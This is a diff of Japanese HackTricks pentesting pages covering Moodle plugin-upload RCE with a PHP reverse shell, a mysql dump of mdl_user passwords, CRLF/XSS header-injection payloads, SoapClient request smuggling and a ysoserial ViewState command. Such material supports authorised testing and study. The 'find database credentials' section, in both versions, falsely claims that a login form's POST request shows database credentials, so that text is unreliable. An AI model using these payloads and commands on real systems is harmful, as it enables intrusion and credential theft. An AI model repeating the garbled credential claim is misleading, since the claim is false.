* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -41,17 +41,9 @@ Admin panel - http://moodle.schooled.htb/moodle/login/
|
|||
|
||||
[+] Scan finished (0:00:05.643539 elapsed)
|
||||
```
|
||||
`moodlescan` is a command-line tool used for scanning and pentesting Moodle installations. It is designed to identify vulnerabilities and security weaknesses in Moodle websites. The tool performs various tests and checks, including:
|
||||
`moodlescan` is a command-line tool used for scanning and pentesting Moodle installations. It is designed to identify vulnerabilities and security weaknesses in Moodle websites. The tool performs various checks, including version detection, plugin enumeration, and user enumeration. It can also check for common misconfigurations and known vulnerabilities in Moodle.
|
||||
|
||||
- **Version Detection**: moodlescan can detect the version of Moodle being used, which is helpful in identifying known vulnerabilities associated with specific versions.
|
||||
- **Plugin Enumeration**: The tool can enumerate the installed plugins in a Moodle site, providing information about their versions and potential vulnerabilities.
|
||||
- **User Enumeration**: moodlescan can enumerate users in a Moodle site, helping to identify potential targets for further exploitation.
|
||||
- **Weak Password Detection**: The tool can check for weak passwords among the user accounts in a Moodle installation.
|
||||
- **Directory Traversal**: moodlescan can perform directory traversal attacks to identify sensitive files and directories that may be accessible to unauthorized users.
|
||||
- **File Inclusion**: The tool can test for file inclusion vulnerabilities in Moodle, which can allow an attacker to execute arbitrary code on the server.
|
||||
- **SQL Injection**: moodlescan can detect SQL injection vulnerabilities in Moodle, which can lead to unauthorized access to the database and sensitive information leakage.
|
||||
|
||||
moodlescan is a powerful tool for assessing the security of Moodle installations and can help identify potential vulnerabilities that could be exploited by attackers. It is important to use this tool responsibly and with proper authorization.
|
||||
To use `moodlescan`, you need to provide the target Moodle website's URL as a parameter. The tool will then perform a series of tests and provide a detailed report of any vulnerabilities found. It is important to note that `moodlescan` should only be used for ethical hacking purposes, with proper authorization from the website owner.
|
||||
```bash
|
||||
#Install from https://github.com/inc0d3/moodlescan
|
||||
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
|
||||
|
@ -85,13 +77,11 @@ Scan completed.
|
|||
|
||||
CMSMapは、ウェブアプリケーションのペネトレーションテストに使用されるツールです。このツールは、MoodleなどのCMS(コンテンツ管理システム)の脆弱性を特定するために使用されます。
|
||||
|
||||
CMSMapは、ウェブサイトのバージョン、インストールされているプラグイン、テーマ、およびその他の重要な情報を特定するために使用されます。これにより、攻撃者は脆弱性を悪用するための情報を収集することができます。
|
||||
CMSMapは、ウェブサイトのURLを入力することで、そのサイトがどのCMSを使用しているかを特定します。また、CMSのバージョンやインストールされているプラグインなどの詳細情報も提供します。
|
||||
|
||||
CMSMapは、コマンドラインベースのツールであり、Pythonで書かれています。このツールは、ウェブサイトのURLを指定し、自動的に情報を収集します。また、プラグインやテーマの脆弱性をテストするためのモジュールも提供しています。
|
||||
このツールは、ウェブサイトのセキュリティ評価を行う際に非常に役立ちます。CMSの脆弱性を特定することで、攻撃者がウェブサイトに侵入する可能性を減らすことができます。
|
||||
|
||||
CMSMapは、ウェブアプリケーションのセキュリティ評価において非常に役立つツールです。ウェブサイトの脆弱性を特定し、それらを修正することで、攻撃者からの攻撃を防ぐことができます。
|
||||
|
||||
このツールを使用する際には、適切な許可を得た上で使用することが重要です。また、法的な制約や倫理的な規範に従うことも重要です。
|
||||
CMSMapは、コマンドラインベースのツールであり、Pythonで開発されています。このツールは、ウェブアプリケーションのペネトレーションテストにおいて、CMSの脆弱性を特定するための重要なツールの一つです。
|
||||
```bash
|
||||
pip3 install git+https://github.com/dionach/CMSmap.git
|
||||
cmsmap http://moodle.example.com/<moodle_path>
|
||||
|
@ -102,13 +92,13 @@ cmsmap http://moodle.example.com/<moodle_path>
|
|||
|
||||
## RCE
|
||||
|
||||
「サイト管理」タブの中で、**マネージャーの役割を持っている必要があり、プラグインをインストールすることができます**。
|
||||
「マネージャー」の役割を持っている必要があり、「サイト管理」タブ内でプラグインをインストールできます。
|
||||
|
||||
![](<../../.gitbook/assets/image (447).png>)
|
||||
|
||||
マネージャーであっても、このオプションを**有効にする必要がある場合があります**。Moodle特権昇格のPoCでは、次のように確認できます:[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
|
||||
マネージャーであっても、このオプションを有効にする必要がある場合があります。Moodle特権エスカレーションPoCで確認できます:[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
|
||||
|
||||
次に、次のプラグインを**インストール**することができます。このプラグインには、クラシックなpentest-monkey php r**evシェル**が含まれています(アップロードする前に解凍し、revshellのIPとポートを変更し、再度圧縮する必要があります)。
|
||||
次に、次のプラグインをインストールできます。このプラグインには、クラシックなpentest-monkey php逆シェルが含まれています(アップロードする前に解凍し、revshellのIPとポートを変更し、再度圧縮する必要があります)。
|
||||
|
||||
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
|
||||
|
||||
|
@ -122,16 +112,15 @@ http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
|
|||
|
||||
### データベースの資格情報を見つける
|
||||
|
||||
データベースの資格情報を見つけるために、以下の手順を実行します。
|
||||
```html
|
||||
<form method="post" action="/login">
|
||||
<input type="text" name="username" placeholder="Username">
|
||||
<input type="password" name="password" placeholder="Password">
|
||||
<input type="submit" value="Login">
|
||||
</form>
|
||||
```
|
||||
|
||||
1. ブラウザの開発者ツールを開きます。
|
||||
2. ログインフォームに適当なユーザー名とパスワードを入力します。
|
||||
3. フォームを送信するときに、ネットワークタブを開きます。
|
||||
4. ネットワークタブで、POSTリクエストを見つけます。
|
||||
5. POSTリクエストのヘッダーとボディを確認し、データベースの資格情報を探します。
|
||||
6. 資格情報が見つかった場合は、ユーザー名とパスワードをメモします。
|
||||
|
||||
この方法を使用すると、ログインフォームを介してデータベースの資格情報を見つけることができます。
|
||||
攻撃者は、このPOSTリクエストを使用してデータベースの資格情報を見つけることができます。フォームの`action`属性には、ログイン情報が送信されるエンドポイントのURLが指定されています。攻撃者は、このURLを使用してデータベースの資格情報を取得することができます。
|
||||
```bash
|
||||
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
||||
```
|
||||
|
@ -139,21 +128,21 @@ find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
|
|||
|
||||
To dump credentials from a database, you can use various techniques depending on the type of database and the access you have. Here are some common methods:
|
||||
|
||||
1. **SQL Injection**: If the application is vulnerable to SQL injection, you can exploit it to extract credentials from the database. By injecting malicious SQL queries, you can retrieve usernames, passwords, and other sensitive information.
|
||||
1. **SQL Injection**: If the application is vulnerable to SQL injection, you can exploit it to extract credentials from the database. By injecting malicious SQL queries, you can retrieve usernames and passwords stored in the database.
|
||||
|
||||
2. **Brute-forcing**: If you have access to the database server, you can attempt to brute-force the login credentials. This involves trying different combinations of usernames and passwords until you find the correct ones.
|
||||
|
||||
3. **Exploiting Misconfigurations**: Sometimes, databases are misconfigured and allow unauthorized access. By identifying and exploiting these misconfigurations, you can gain access to the database and extract credentials.
|
||||
3. **Exploiting Misconfigurations**: Sometimes, databases are misconfigured and allow unauthorized access. By exploiting these misconfigurations, you can gain access to the database and extract credentials.
|
||||
|
||||
4. **Dumping Hashes**: If you have read access to the database, you can dump the password hashes stored in the database. These hashes can then be cracked using various techniques, such as rainbow tables or brute-forcing, to obtain the actual passwords.
|
||||
4. **Dumping Hashes**: If you have read access to the database, you can dump the password hashes stored in it. These hashes can then be cracked using tools like John the Ripper or Hashcat to obtain the plaintext passwords.
|
||||
|
||||
Remember, it is important to have proper authorization and legal permission before attempting to dump credentials from a database. Unauthorized access is illegal and unethical. Always follow ethical hacking guidelines and obtain proper consent before performing any penetration testing activities.
|
||||
Remember, it is important to have proper authorization and legal permission before attempting to dump credentials from a database. Unauthorized access is illegal and unethical.
|
||||
```bash
|
||||
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -161,9 +150,9 @@ Remember, it is important to have proper authorization and legal permission befo
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか?あなたの**会社をHackTricksで宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
|
|
|
@ -7,12 +7,12 @@
|
|||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -31,11 +31,11 @@ CRLFインジェクション脆弱性攻撃では、攻撃者はユーザーの
|
|||
|
||||
## WebアプリケーションにおけるCRLFインジェクション
|
||||
|
||||
WebアプリケーションにおけるCRLFインジェクションは、アプリケーションが単一のアイテムをどのように処理するかによって、深刻な影響を与える場合があります。影響は情報の漏洩からコードの実行まで、直接的な影響を与えるWebアプリケーションのセキュリティ脆弱性に及ぶことがあります。実際、CRLFインジェクション攻撃はOWASP Top 10リストには記載されていませんが、管理パネルのログファイルを操作することも可能です。以下の例で説明します。
|
||||
WebアプリケーションにおけるCRLFインジェクションは、アプリケーションが単一のアイテムをどのように処理するかによって、深刻な影響を与える場合があります。影響は情報の漏洩からコードの実行まで、直接的な影響を与えるWebアプリケーションのセキュリティ脆弱性に及ぶことがあります。実際、CRLFインジェクション攻撃はOWASP Top 10リストには記載されていませんが、以下の例で説明するように、Webアプリケーションに非常に深刻な影響を与える可能性があります。
|
||||
|
||||
#### ログファイルにおけるCRLFインジェクションの例
|
||||
|
||||
以下のようなIP - 時間 - 訪問パスの出力ストリームパターンを持つ管理パネルのログファイルを想像してください:
|
||||
以下のようなIP - 時間 - 訪問パスの出力ストリームパターンを持つ管理パネルのログファイルを想像してください。
|
||||
```
|
||||
123.123.123.123 - 08:15 - /index.php?page=home
|
||||
```
|
||||
|
@ -50,11 +50,11 @@ IP - 時間 - 訪問したパス
|
|||
123.123.123.123 - 08:15 - /index.php?page=home&
|
||||
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
したがって、CRLFインジェクションの脆弱性を悪用することで、攻撃者はログファイルに偽のエントリを作成し、自身の悪意ある行動を隠蔽することができます。攻撃者は文字通りページハイジャックを行い、レスポンスを変更しています。例えば、攻撃者が管理者パスワードを持ち、制限されたアクションパラメータを実行した場合を想像してみてください。このパラメータは管理者のみが使用できます。
|
||||
したがって、CRLFインジェクションの脆弱性を悪用することで、攻撃者はログファイルに偽のエントリを作成し、自身の悪意ある行動を隠蔽することができます。攻撃者は文字通りページハイジャックを行い、レスポンスを変更しています。例えば、攻撃者が管理者パスワードを持ち、制限付きアクションパラメータを実行した場合を想像してみてください。このパラメータは管理者のみが使用できます。
|
||||
|
||||
問題は、管理者が制限されたアクションパラメータを使用した不明なIPを検出した場合、何かが間違っていることに気付くことです。しかし、今ではコマンドがlocalhostから発行されたように見えるため(したがって、おそらくサーバーにアクセス権限を持つ管理者のような人物によるものと思われる)、怪しまれません。
|
||||
問題は、管理者が制限付きアクションパラメータを使用した不明なIPを検知した場合、何かが間違っていることに気付くことです。しかし、今ではコマンドがlocalhostから発行されたように見えるため(したがっておそらくサーバーへのアクセス権を持つ管理者のような人物によるものと思われる)、怪しまれません。
|
||||
|
||||
%0d%0aで始まるクエリの全体部分は、サーバーによって1つのパラメータとして処理されます。その後、もう1つの&があり、これはサーバーによって別のパラメータとして解析されます。実質的には、次のクエリと同じになります:
|
||||
%0d%0aで始まるクエリの全体部分は、サーバーによって1つのパラメータとして処理されます。その後、別の&があり、サーバーによって別のパラメータとして解析されます。実質的には、次のクエリと同じです:
|
||||
```
|
||||
/index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
|
@ -70,7 +70,7 @@ HTTP レスポンスのヘッダとボディは CRLF 文字で区切られてい
|
|||
```
|
||||
X-Your-Name: Bob
|
||||
```
|
||||
ヘッダーの値は「name」という名前のgetパラメーターを介して設定されます。URLエンコーディングが行われておらず、値がヘッダー内に直接反映されている場合、攻撃者は上記のCRLFCRLFの組み合わせを挿入して、ブラウザにリクエストボディが始まることを伝えることができます。その方法で、彼はXSSペイロードなどのデータを挿入することができます。例えば:
|
||||
ヘッダーの値は、「name」という名前のgetパラメーターを介して設定されます。URLエンコーディングが行われておらず、値がヘッダー内に直接反映されている場合、攻撃者は上記のCRLFCRLFの組み合わせを挿入することで、ブラウザにリクエストボディの開始を伝えることが可能です。その方法で、XSSペイロードなどのデータを挿入することができます。例えば:
|
||||
```
|
||||
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
|
||||
```
|
||||
|
@ -114,7 +114,7 @@ CRLFインジェクションを悪用することで、攻撃者はHTTPヘッダ
|
|||
### SSRFでの新しいHTTPリクエスト
|
||||
|
||||
CRLFインジェクションを悪用することで、**新しいHTTPリクエストを作成してインジェクションする**ことができます。\
|
||||
PHPの`SoapClient`デシリアライゼーションガジェットを使用した良い例があります。このクラスは、`user_agent`パラメータ内にCRLFが存在するため、新しいヘッダーやボディのコンテンツを**挿入する**ことができます。しかし、この脆弱性を悪用して**新しいHTTPリクエストをインジェクションする**こともできるかもしれません。
|
||||
PHPの`SoapClient`デシリアライゼーションガジェットを使用した良い例があります。このクラスは、`user_agent`パラメータ内にCRLFが存在するため、新しいヘッダーやボディの内容を**挿入する**ことができます。しかし、この脆弱性を悪用して**新しいHTTPリクエストをインジェクションする**こともできるかもしれません。
|
||||
```php
|
||||
$target = 'http://127.0.0.1:9090/test';
|
||||
$post_string = 'variable=post value';
|
||||
|
@ -160,23 +160,29 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0
|
|||
|
||||
### Memcacheインジェクション
|
||||
|
||||
Memcacheは、クリアテキストプロトコルを使用する**キーバリューストア**です。詳細は以下を参照してください:
|
||||
Memcacheは、クリアテキストプロトコルを使用する**キーバリューストア**です。詳細は次を参照してください:
|
||||
|
||||
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
|
||||
[11211-memcache](../network-services-pentesting/11211-memcache/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
もしプラットフォームが**HTTPリクエストからデータを取得し、サニタイズせずに**それを使用して**memcache**サーバーに**リクエスト**を行う場合、攻撃者はこの動作を悪用して**新しいmemcacheコマンドを注入**することができます。
|
||||
もしプラットフォームが**HTTPリクエストからデータを取得し、サニタイズせずに**それを使用して**memcache**サーバーに**リクエスト**を実行する場合、攻撃者はこの動作を悪用して**新しいmemcacheコマンドを注入**することができます。
|
||||
|
||||
例えば、元々の脆弱性では、キャッシュキーが使用され、ユーザーが接続するためのIPとポートが返されました。攻撃者は**memcacheコマンドを注入**して、キャッシュを**汚染**し、被害者の詳細(ユーザ名とパスワードを含む)を攻撃者のサーバーに送信することができました。
|
||||
例えば、元々の脆弱性では、キャッシュキーが使用され、ユーザーが接続するためのIPとポートが返されました。攻撃者は**memcacheコマンドを注入**して、被害者の詳細(ユーザ名とパスワードを含む)を攻撃者のサーバーに送信することができました。
|
||||
|
||||
さらに、研究者は、攻撃者が知らないユーザーの電子メールに攻撃者のIPとポートを送信するために、memcacheのレスポンスをデシンクすることも発見しました。
|
||||
<figure><img src="../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**詳細については、[**元の記事**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)を読んでください。**
|
||||
さらに、研究者は、memcacheのレスポンスをデシンクさせることで、攻撃者がメールアドレスを知らないユーザーに攻撃者のIPとポートを送信することができることも発見しました。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (40).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**詳細については、**[**元の記事を読んでください**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\*
|
||||
|
||||
## CRLFインジェクションの影響
|
||||
|
||||
CRLFインジェクションの影響はさまざまであり、クロスサイトスクリプティングから情報の漏洩まで含まれます。また、被害者のブラウザでXSSフィルターや同一オリジンポリシーなどの特定のセキュリティ制限を無効にすることもあり、悪意のある攻撃に対して脆弱になります。
|
||||
CRLFインジェクションの影響はさまざまであり、クロスサイトスクリプティングから情報漏洩までのすべての影響を含みます。また、被害者のブラウザでXSSフィルターや同一オリジンポリシーなどの特定のセキュリティ制限を無効にすることもあり、悪意のある攻撃に対して脆弱になります。
|
||||
|
||||
### WebアプリケーションでのCRLF / HTTPヘッダーインジェクションの防止方法
|
||||
|
||||
|
@ -217,7 +223,7 @@ CRLFインジェクションの影響はさまざまであり、クロスサイ
|
|||
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -228,7 +234,7 @@ CRLFインジェクションの影響はさまざまであり、クロスサイ
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -54,12 +54,11 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
|||
|
||||
開発者は、ViewStateがHTTPリクエストの一部にならないようにすることができます(ユーザーはこのクッキーを受け取りません)。
|
||||
ViewStateが存在しない場合、ViewStateの逆シリアル化に起因する潜在的な脆弱性から実装が安全であると想定するかもしれません。
|
||||
しかし、それは事実ではありません。ysoserialを使用して作成したシリアル化ペイロードをリクエストボディにViewStateパラメータとして追加し、
|
||||
テストケース 1で示したように、コードの実行を依然として達成することができます。
|
||||
しかし、それは事実ではありません。ysoserialを使用して作成したシリアル化ペイロードをリクエストボディにViewStateパラメータとして追加し、引き続きコードの実行を達成することができます(ケース 1と同様)。
|
||||
|
||||
### テストケース: 2 - .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
特定のページでViewState MACを有効にするには、特定のaspxファイルで以下の変更を行う必要があります:
|
||||
特定のページでViewState MACを有効にするには、特定のaspxファイルに以下の変更を加える必要があります:
|
||||
```bash
|
||||
